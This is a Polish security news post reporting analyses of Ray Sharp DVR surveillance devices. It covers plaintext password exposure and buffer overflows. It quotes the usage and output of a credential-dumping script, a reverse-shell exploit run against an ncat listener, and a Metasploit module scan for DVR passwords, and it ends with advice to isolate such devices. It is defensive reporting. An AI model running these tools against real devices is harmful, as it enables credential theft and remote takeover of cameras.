Preorder drugiego tomu książki sekuraka: Wprowadzenie do bezpieczeństwa IT. -15% z kodem: sekurak-book
Udostępniasz video, udostępniasz shella
Jak dostać zdalnego roota na systemie monitoringu video? Okazuje się, że bardzo prosto. someLuser parę dni temu opublikował analizę urządzenia Ray Sharp (brandowanego też pod takimi markami jak: Swann, Lorex, Night Owl, Zmodo, URMET, kguard security i pewnie jeszcze masą innych). W arsenale analizy znalazły się takie elementy jak: dostęp fizyczny do konsoli, bootowanie systemu w trybie single-user, czy nasz dobry znajomy UPnP.
Dalsza analiza pokazała nieuwierzytelniony dostęp do loginów / haseł użytkowników i – pośrednio – informację, że hasła przechowywane są bez żadnego hashowania:
The next thing I saw was a bit shocking…when you access the application user accounts page the device sends the application all the information about the accounts stored on the device. This includes the login and password.
Autor we wpisie pokazuje również bardzo prosty skrypt pobierający dane użytkowników:
python getPass.py 192.168.10.69 [*]Host: 192.168.10.69 [+]Username: admin [+]Password: 123456
Kolejne problemy to proste błędy klasy buffer overflow prowadzące finalnie do możliwości umieszczenia interaktywnego shella. Jak widać na poniższym listingu przygotowanym przez someLusera na urządzeniu standardowo dostępny jest też netcat…
Usage: sploit.py $ python sploit.py 192.168.10.69 192.168.10.66 9999 [*]Sending Stage 1 [*]Sending Stage 2 [*]Rebooting the server with crash…. Ncat: Version 5.21 ( http://nmap.org/ncat ) Ncat: Listening on 0.0.0.0:9999
Dalszą analizę urządzeń wykonał też znany z opieki nad metasploitem rapid7. Mamy tu podatną wersję biblioteki openssl (ze stycznia 2009) czy gotowy moduł do metasploita pobierający dane logowania do urządzenia:
$ sudo -s -E # msfconsole msf> use auxiliary/scanner/misc/raysharp_dvr_passwords msf auxiliary(raysharp_dvr_passwords) > set RHOSTS 192.168.0.0/24 msf auxiliary(raysharp_dvr_passwords) > set THREADS 256 msf auxiliary(raysharp_dvr_passwords) > run [+] 192.168.0.153:9000 (user='admin' pass='1234546') mac=00-23-63-63-63-63 version=V2.1-20110716
Jak się ochronić?
Maksymalnie odseparować urządzenia tego typu od sieci publicznych i produkcyjnego LAN.
— michal.sajdak<at>sekurak.pl